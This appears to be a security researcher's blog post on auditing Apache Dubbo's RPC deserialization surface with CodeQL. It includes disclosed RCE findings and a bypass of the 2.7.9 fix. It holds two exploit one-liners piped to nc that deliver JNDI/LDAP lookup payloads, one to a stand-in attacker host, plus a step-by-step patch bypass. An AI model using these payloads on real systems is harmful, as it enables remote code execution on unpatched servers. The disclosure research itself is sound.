Dubbo’s RPC attack surface

Apache Dubbo is a high-performance Java RPC framework and one of the most popular Apache Foundation projects. Its architecture separates roles into providers (which expose remote services), consumers (which call them), and optional registries for service discovery and monitors for usage statistics. The default transport uses the Dubbo binary protocol over a single long-lived Netty connection, though Grizzly and Mina are also supported.

That binary protocol is where the interesting security properties live: it uses five bits to select a serialization format, then carries the RPC method name, serialized arguments, and attachments in the request body. An audit of version 2.7.8, aided by CodeQL, uncovered multiple deserialization flaws leading to pre-auth remote code execution on both consumers and providers. These were reported to the project and tracked under GHSL-2021-034 through GHSL-2021-043.

Why a simple scan isn’t enough

CodeQL is well suited to finding variants of known vulnerability patterns, but it can also be used as an exploration aid during an audit — answering questions about reachability and data flow across a large codebase. Dubbo is roughly 107.7 kLOC, too large to enumerate all entry points by hand. The initial approach was to query for all classes containing RemoteFlowSource expressions or parameters, the CodeQL construct representing attacker-controllable data.

That first query returned only ten results, covering reverse DNS lookups, HTTP client responses, and servlet requests for Hessian, HTTP, and XmlRpc endpoints. Critically, it found no sources for the Dubbo binary protocol itself. The gap is expected: CodeQL’s standard library lacked models for the underlying NIO frameworks that Dubbo relies on. Netty, the default, introduces remote data through two specific handler signatures:

  • The second argument to io.netty.channel.ChannelInboundHandler.channelRead(ChannelHandlerContext ctx, Object msg)
  • The second argument to io.netty.handler.codec.ByteToMessageDecoder.decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out)

Modeling those two parameters as RemoteFlowSource extensions immediately produced a much richer set of entry points, pointing directly at the decoding logic where the most dangerous deserialization occurs. Manual review of those results confirmed that both CVE-2020-11995 and CVE-2020-1948 live in the conversion of incoming packets into RPC Invocation objects.

A history of deserialization bugs

Dubbo has a track record of unsafe deserialization:

  • CVE-2020-11995: Hessian2 deserialization leading to arbitrary code execution, patched with allow/block lists for deserialization.
  • CVE-2020-1948: Malicious parameter payloads deserialized during RPC handling execute code, even for unknown service or method names.
  • CVE-2019-17564: Unsafe deserialization when HTTP remoting is enabled.

The audit additionally identified CVE-2021-25641, independently discovered by Checkmarx and not covered in detail here, along with multiple new RCE vectors in the same class of bugs found by extending CodeQL’s view of the application’s true perimeter.

Finding unsafe deserialization paths beyond the obvious entry point

A close reading of the Dubbo protocol handler code reveals that the attack surface is wider than it first appears. An attacker who controls the raw bytes of a request can steer packet decoding down several different paths depending on the content. If the request does not start with the Dubbo magic number 0xADBB, the bytes are routed through TelnetCodec.decode() (via super.decode(), giving an attacker access to the telnet command surface. If the magic number is present, decoding proceeds through ExchangeCodec.decodeBody(), but the attacker is under no obligation to send an RPC invocation — responses, heartbeats and events are all equally valid and are parsed by different code paths.

Two previously disclosed issues, CVE-2020-1948 and CVE-2020-11995, were located in DecodeableRpcInvocation.decode(). To find variants, a CodeQL query was run using the untrusted data source at DubboCodec.decodeBody(), treating Serialization.deserialize() as a taint step and marking all ObjectInput.read*() calls as sinks. The query returned eight true-positive variants:

  • HeartBeat request → decodeHeartbeatData → decodeEventData → in.readEvent → in.readObject
  • Event request → decodeEventData → in.readEvent → in.readObject
  • OK response → DecodeableRpcResult.decode() → handleValue → readObject
  • OK response → DecodeableRpcResult.decode() → handleException → readThrowable → readObject
  • OK response → DecodeableRpcResult.decode() → handleAttachment → readAttachments → readObject
  • OK HeartBeat response → decodeHeartbeatData → decodeEventData → in.readEvent → in.readObject
  • OK Event response → decodeEventData → in.readEvent → in.readObject
  • NOK response → in.readUTF (which in Hessian can reach readObject)

The Dubbo mitigation for the earlier CVEs was an opt-in Hessian type filter. It will cover these new variants too, but only if enabled and configured with an allow list of expected types. These paths were reported as GHSL-2021-036. Even with the filter in place, the variants matter because any future hardening approach that only blocks the known CVE entry points can be bypassed through the alternate paths.

Native Java deserialization in the generic filter (GHSL-2021-037)

A second query looked for every call to a read.* method on an ObjectInput interface outside of tests and the interface itself, returning 14 results. Most of these obtain the ObjectInput from a Serialization instance returned by CodecSupport.getSerialization(). This is a critical detail: the Dubbo protocol lets a caller nominate the serialization protocol, so an attacker can request Java native deserialization and sidestep the Hessian filter. Dubbo does check the requested serialization against what the server expects and throws on a mismatch, aiming to block native Java deserialization. However, as shown by CVE-2021-25641, other unsafe serializer types can still be forced, and in older or transitively configured deployments those serializers (for example Kryo) may be present in the classpath.

Discarding the flows that pass through the CodecSupport.getSerialization() check reduces the result set to two classes: GenericFilter and RedisProtocol. The RedisProtocol class cannot actually be used to export a service — attempting it throws an exception — but reviewing it exposed the RMIProtocol and HessianProtocol implementations that were later reported as GHSL-2021-095 and GHSL-2021-096.

The GenericFilter is installed by default and sits in front of RPC calls before they are dispatched to a provider. It handles generic invocations used by clients that do not have the API interface in their classpath. Such calls use the $invoke and $invokeAsync method names and rely on a caller-supplied attachment to describe how the arguments are encoded. An attacker controls this attachment. The accepted values are true, raw.return, nativejava, bean and protobuf-json. Setting the attachment to nativejava leads directly to native Java deserialization of the byte array in the invocation's third argument, so the request body can carry a standard Java deserialization payload.

Exploiting this path requires knowing at least one valid service and method name to reach the GenericFilter. This is not a serious obstacle in practice because of the earlier telnet surface: connecting to the Dubbo port and issuing an unauthenticated ls command enumerates the available service and method names, which can then be used to build the final attack request.

Arbitrary bean manipulation in the generic filter (GHSL-2021-038)

The other allowed generic invocation encodings, true, raw.return and bean, each permit a different style of attacker-controlled object construction. The protobuf-json value uses Google protobufs and is generally considered safe because it does not allow instantiating arbitrary types, but the remaining three do not have that property.

When the generic attachment is true or raw.return, the call is handled by PojoUtils.realize(). This method inspects a HashMap supplied by the caller, looks for a "class" key to determine the type to instantiate, and then populates the new object's fields. Population happens by invoking a matching setter where one exists or by direct reflection otherwise. Finding an RCE-capable setter gadget in the provider classpath means the attacker can execute arbitrary code.

For example, a Python client can instantiate org.apache.xbean.propertyeditor.JndiConverter if that gadget is available, and its setAsText method performs a JNDI lookup that can be redirected to a malicious server. Setting the attachment to bean reaches a related path through JavaBeanSerializeUtil.deserialize(), which likewise invokes default constructors of arbitrary classes and then calls setters or assigns field values for the constructed object. Both encodings were reported together as GHSL-2021-038; the same bean-style approach can be used to trigger a JNDI lookup as the RCE gadget.

These generic deserializers also operate on maps: user-controlled map entries are copied into a fresh HashMap. That behavior widens the gadget surface further, since gadgets triggered by hashCode() calls (made when inserting entries to check for duplicates) become reachable. That enables chains that exist entirely on Dubbo's default classpath, without any additional third-party gadget library being present.

Finding more attackers on the deserialization trail

Both PojoUtils and JavaBeanSerializeUtil are custom Dubbo deserializers, so the immediate question is, are they used somewhere else?

import java

from MethodAccess ma
where
  (
    (
      ma.getMethod().getName() = "realize" and
      ma.getMethod().getDeclaringType().getName() = "PojoUtils" and
      not ma.getEnclosingCallable().getDeclaringType().getName() = "PojoUtils"
    ) or (
      ma.getMethod().getName() = "deserialize" and
      ma.getMethod().getDeclaringType().getName() =  "JavaBeanSerializeUtil" and
      not ma.getEnclosingCallable().getDeclaringType().getName() = "JavaBeanSerializeUtil"
    )
  ) and
  not ma.getLocation().getFile().getRelativePath().matches("%/src/test/%")
select ma, ma.getEnclosingCallable().getDeclaringType()

CodeQL can help answer this question:

realize calls

You've already seen their uses on GenericFilter, CompatibleFilter and GenericImplFilter with provider responses that should not be under attacker control. MockInvoker is used for tests, but there is a remaining result that looks interesting: InvokeTelnetHandler.

Turns out that you can also use the Telnet protocol to perform RPC invocations, and the documentation clearly states that:

When there is parameter overload, or the type conversion fails, you can specify the class to be converted by adding the class attribute

Therefore, an attacker with access to the Telnet port (the same one as the Dubbo protocol port) can query the available services and invoke any of them. In this process, an attacker will be able to instantiate arbitrary classes and invoke arbitrary setters and hashcode() on them.

This finding is quite interesting since when searching for information about the telnet port I found a write up for CVE-2020-1948 that explains a vulnerability in the DecodeableRpcInvocation class but then talks about the Dubbo Telnet protocol and how it uses FastJSON to parse the method invocation JSON data. Since FastJSON allows the use of type discriminators (@type), a similar vulnerability affected older versions of Dubbo. For example:

echo "invoke org.apache.dubbo.samples.basic.api.DemoService.sayHello(({ "111": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "222": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.85.1:8089/test_by_cqq", "autoCommit": true }) | nc -i 1 dubbo_server 20880

The vulnerability (with no CVE that I know of) was addressed by enabling the FastJSON block list, but passing a map as an argument, the deserialized map is later processed by PojoUtils.realize which enables the same attack. eg:

echo "invoke org.apache.dubbo.samples.basic.api.DemoService.sayHello({'class':'org.apache.xbean.propertyeditor.JndiConverter','asText': 'ldap://attacker/foo'})" | nc -i 1 dubbo_server 20880

A heat map for unsafe deserialization sinks

Another good practice when reviewing code is to look for hazardous APIs used throughout the application, regardless of having solid evidence that they can be exercised with untrusted data. This analysis will show us "hot" classes in the application that should be reviewed carefully. For this purpose I like to use the CodeQL sink collection. You can think of it as using just the isSink predicates of the CodeQL TaintTracking configurations. This is something that should be done for most of the vulnerability categories. The result should be a map of what classes do file IO operations, which ones write data to HTTP responses, which ones perform deserialization operations, and so on. You can use such a map to guide and focus your audit on what are likely to be high-yield areas of the code base. To keep this blog short(er), I'll show you how I enumerated an auditing heat map just for the unsafe deserialization category.

import java
import semmle.code.java.security.UnsafeDeserializationQuery

from UnsafeDeserializationSink node
where
  not node.getLocation().getFile().getRelativePath().matches("%/src/test/%")
select
  node.asExpr().getParent().(Call).getCallee().getDeclaringType(), // deserializing class
  node.asExpr().getParent(), // deserializing method
  node.asExpr().getParent().(Call).getEnclosingCallable().getDeclaringType() // enclosing class

In the above query, I'm importing the UnsafeDeserialization library that defines an UnsafeDeserializationSink DataFlow node. I will be querying all the nodes that satisfy the UnsafeDeserialiationSink predicate and are not located in test files. The query

import java
import semmle.code.java.security.UnsafeDeserializationQuery

from UnsafeDeserializationSink node
where
  not node.getLocation().getFile().getRelativePath().matches("%/src/test/%")
select 
  node.asExpr().getParent().(Call).getCallee().getDeclaringType(), // deserializing class
  node.asExpr().getParent(), // deserializing method
  node.asExpr().getParent().(Call).getEnclosingCallable().getDeclaringType() // enclosing class

returns 23 results. Ignoring those on classes implementing the ObjectInput interface (since I already showed you how to analyze them), I get three results; three potentially insecure YAML deserialization operations:

YAML.load calls

I can manually review where the data passed to these methods comes from, or I can use a simple DataFlow query to let CodeQL do the review for us:

import java
import semmle.code.java.dataflow.DataFlow
import semmle.code.java.dataflow.FlowSources
import DataFlow
import PartialPathGraph

class PartialTaintConfig extends DataFlow::Configuration {
  PartialTaintConfig() { this = "PartialTaintConfig" }

  override int explorationLimit() { result = 5 }

  override predicate isSource(DataFlow::Node source) {
    none()
  }

  override predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess ma |
        ma.getMethod().hasName("load") and
        ma.getMethod().getDeclaringType().hasName("Yaml") and
        sink.asExpr() = ma.getAnArgument()
    )
  }
}

from PartialPathNode n, int dist
where
  any(PartialTaintConfig c).hasPartialFlowRev(n, _, dist) and
  n.getNode() instanceof DataFlow::ExplicitParameterNode and
  dist > 0
select dist, n

The query

import java
import semmle.code.java.dataflow.DataFlow
import semmle.code.java.dataflow.FlowSources
import DataFlow
import PartialPathGraph

class PartialTaintConfig extends DataFlow::Configuration {
  PartialTaintConfig() { this = "PartialTaintConfig" }

  override int explorationLimit() { result = 5 }

  override predicate isSource(DataFlow::Node source) {
    source instanceof RemoteFlowSource
  }

  override predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess ma |
      ma.getMethod().hasName("load") and
      ma.getMethod().getDeclaringType().hasName("Yaml") and
      sink.asExpr() = ma.getAnArgument()
    )
  }
}

from PartialPathNode n, int dist
where 
  any(PartialTaintConfig c).hasPartialFlowRev(n, _, dist) and
  n.getNode() instanceof DataFlow::ExplicitParameterNode and
  dist > 0
select dist, n

looks for reverse partial data flows. That is, starting from the sink and within the exploration limits set in the query (5), it looks backwards toward a potential source for all the expressions or parameters leading to the sink. This kind of query is very useful when looking for APIs that are not propagating the taint and need to be modeled but also when you need to "hoist" a sink. You can think of hoisting or lifting a sink as a way to find all other methods that, if invoked with tainted data, will propagate that taint to the sink and therefore can also be considered sinks themselves.

My intention with this query was to look for places where the data deserialized by Yaml.load() can come from. The results show 11 possible paths:

YAML.load hoisted

You can see that there are several results labeled as event[content], which means that the flow would originate from the content field of the event parameter.For example:

process method

You can see how the content of the ConfigChangedEvent flows into the ConditionRuleParser.parse() method which is then passed to the final Yaml.load() sink. The process() method overrides the ConfigurationListener.process() method:

configuration listener

This interface looks very interesting since it represents a configuration center listener. The ConfigChangedEvent will contain the contents of that change. This means that if an attacker can add or modify certain configurations or routes in the registry, then all the consumers will parse those changes and will potentially trigger an unsafe deserialization that could be used to compromise all the different consumers.

I'll verify this by writing a simple query to check where these ConfigChangedEvents are instantiated:

import java

from ClassInstanceExpr call
where call.getConstructedType().getName() = "ConfigChangedEvent"
select call

I'm returned a list of the following classes:

  • ApolloDynamicConfiguration
  • ConsulDynamicConfiguration
  • EtcdDynamicConfiguration
  • FileSystemDynamicConfiguration
  • NacosDynamicConfiguration
  • ZookeeperCacheListener

These classes are listeners that listen for changes in different configuration centers and are abstracted by the ConfigurationListener interface.

If an attacker can access any of these registries or configuration centers, they will be able to inject malicious YAML content that when passed to Dubbo consumers and providers will trigger arbitrary code execution. You might think that accessing these configuration managers isn't possible, but the truth is that most of them run with no authentication/authorization enabled by default, and in some cases it may be possible to bypass, as I showed previously.

Using this approach, I found that it was indeed possible to achieve RCE by performing:

Broadening the attack surface to script routes

Pokemon cartoon. A wild new attack surface appeared!

You may be wondering if this newly identified attack surface (configuration manager listeners) introduces other injection issues. You could either model all the configuration manager client libraries (Apache Curator, Nacos, etc) or just model the Dubbo abstraction layer for all of them. Turns out that all the different listeners are derived from the ConfigurationListener or the NotifyListener. You can use this info to create a source representing this attack surface with CodeQL:

import java
import semmle.code.java.dataflow.FlowSources

class NotifyListener extends RefType {
  NotifyListener() {
    this.hasQualifiedName("org.apache.dubbo.registry", "NotifyListener")
  }
}

class ConfigurationListener extends RefType {
  ConfigurationListener() {
    this.hasQualifiedName("org.apache.dubbo.common.config.configcenter", "ConfigurationListener")
  }
}

class ConfigurationListenerProcessMethod extends Method {
  ConfigurationListenerProcessMethod() {
    this.getName() = "process" and
    this.getDeclaringType().getASupertype*() instanceof ConfigurationListener
  }
}

class NotifyListenerNotifyMethod extends Method {
  NotifyListenerNotifyMethod() {
    this.getName() = "notify" and
    this.getDeclaringType().getASupertype*() instanceof NotifyListener
  }
}

class DubboListener extends RemoteFlowSource {
  DubboListener() {
    (exists(NotifyListenerNotifyMethod m |
        this.asParameter() = m.getAParameter()
      ) or
      exists(ConfigurationListenerProcessMethod m |
        this.asParameter() = m.getAParameter()
      )) and
      not this.getLocation().getFile().getAbsolutePath().matches("%/src/test/%")
  }
  override string getSourceType() { result = "Dubbo Listener Source" }
}

from DubboListener l
select
  l,
  l.asParameter().getCallable(),
  l.asParameter().getCallable().getDeclaringType()

The above query gets us the following new entry points:

new CC entrypoints

Running a complete CodeQL scan with this new source returns brand new results, including an unsafe server-side Javascript evaluation on ScriptRouter:

Script injection

Consulting the documentation reveals that routing rules can be scripted with any of the scripting languages available in the JDK. Similar to what I showed you for the YAML deserialization, an attacker with access to a non-authenticated registry can register a new scripted route that all consumers will download and evaluate:

exploit

Master @threedr3am already wrote about exploiting my finding, so I won't provide more details here. After all, this blog post is about the discovery process, not the exploitation one.

Dubbo 2.7.9: The fix that wasn’t

When Apache Dubbo released version 2.7.9, the team said it had addressed the vulnerabilities I had reported, including GHSL-2021-035. I hadn’t been given a chance to review the patch before it shipped, so I took a close look at the remediation approach as soon as it was public.

The fix introduced a new CodecSupport.getSerialization(url) method that forces the use of the server-side specified deserialization format (typically Hessian) instead of merely rejecting attempts to switch to native Java serialization. The team then stripped security checks from the older CodecSupport.getSerialization(url, id) overload and moved them into a new CodecSupport.checkSerialization(path, version, serializationType) method. A length check was also added in CodecSupport.decodeEventData, but nowhere else.

Two new properties control these checks:

  • serialization.security.check (default: false)
  • deserialization.event.size (default: 50 bytes)

This design choice matters. Previously, every deserialization operation flowing through CodecSupport.getSerialization(url, id) was guaranteed to use the server-side protocol, because the security check was embedded inside that method. In 2.7.9, the check has been split into a separate checkSerialization() method that callers must explicitly invoke. From a security architecture standpoint, enforcing the check inside the method that returns the serializer is the more robust approach — developers will inevitably forget to call the new method.

The change also invalidated some of my earlier findings. Since CodecSupport.deserialize() now uses the unsafe overload, I needed to re-evaluate which deserialization sinks were still reachable without passing through one of the new security controls.

Re-running the audit with the new sanitizers

I re-ran the GHSL-2021-036 query with an added sanitizer that treats checks for the new serialization.security.check and deserialization.event.size properties as cleansing nodes. The updated query returned no results, meaning all previously identified variants were now behind one of these checks. This kind of query is genuinely useful in a CI/CD pipeline to ensure new pull requests don’t introduce deserialization paths that bypass the guards.

Of course, the next step was to see whether those guards could themselves be bypassed.

There are exactly three places where the new checks are enforced. Each uses the properties differently, and each has a distinct weakness profile.

DecodeableRpcResult.decode

With serialization.security.check enabled, this path forces the response’s serialization type to match the invocation’s. In the earlier GHSL-2021-036 findings, I could force the server to process a response without a corresponding invocation — invocation was null, but deserialization sinks were reachable before any null dereference. With the check in place, the code dereferences invocation.get(SERIALIZATION_ID_KEY) first, causing a NullPointerException that halts processing. This check does protect that particular sink.

ExchangeCodec.decodeEventData

Here the guard limits event payloads to 50 bytes. That blocks the earlier RCE variants, though it may still permit denial-of-service. Users who raise deserialization.event.size above roughly 250 bytes would reopen the door to gadget chains, assuming JEP 290 doesn’t catch them.

DecodeableRpcInvocation.decode

This is the interesting one. The bulk of the protection relies on CodecSupport.checkSerialization(), which is invoked with attacker-controlled path and version strings: path = in.readUTF() and version = in.readUTF(). These are used to look up the service definition via lookupExportedServiceWithoutGroup(path + ":" + version), with the goal of retrieving the server-side serialization type.

If an attacker supplies a non-existent path/version pair, lookupExportedServiceWithoutGroup() returns null. The code takes the logger.warn branch, prints an error, and continues executing — no exception is thrown. That alone bypasses the serialization check.

But there’s a further subtlety. After checkSerialization() returns, the code calls repository.lookupService(path), which must resolve a valid service before the arguments are deserialized at ObjectInput.readObject(). If I provide a bogus path, lookupService() also fails and execution throws before reaching the sink.

The difference between the two lookup methods is what makes the bypass possible. lookupService(path) matches only on the service path, while lookupExportedServiceWithoutGroup(path + ":" + version) matches on both path and version. An attacker can therefore supply:

  • Path: any valid exposed service, e.g. org.apache.dubbo.samples.basic.api.DemoService
  • Version: a non-existent value like 6.6.6

The checkSerialization() lookup fails, so the guard is skipped, but lookupService() still resolves the service. Execution reaches the vulnerable deserialization sink anyway — a complete bypass of the 2.7.9 mitigation for a pre-auth remote code execution (GHSL-2021-097).

CodeQL as an audit oracle

CodeQL is most often deployed to find known vulnerability patterns and variants, and to guard CI/CD pipelines. But in this audit it served a broader purpose: an interactive query engine for the kind of questions that come up constantly in security review. Which APIs consume network-controlled input? Which dataflows reach dangerous sinks? Where is the attack surface concentrated?

Being able to ask these questions of the codebase directly — through the AST and dataflow graph — let me focus on the critical paths, answer open questions quickly, and discover new problem areas simply by examining what CodeQL flagged. Features like reverse partial dataflow helped hoist known sinks and clarify how they could be triggered from untrusted entry points. For this kind of work, CodeQL is as much an audit companion as a vulnerability scanner.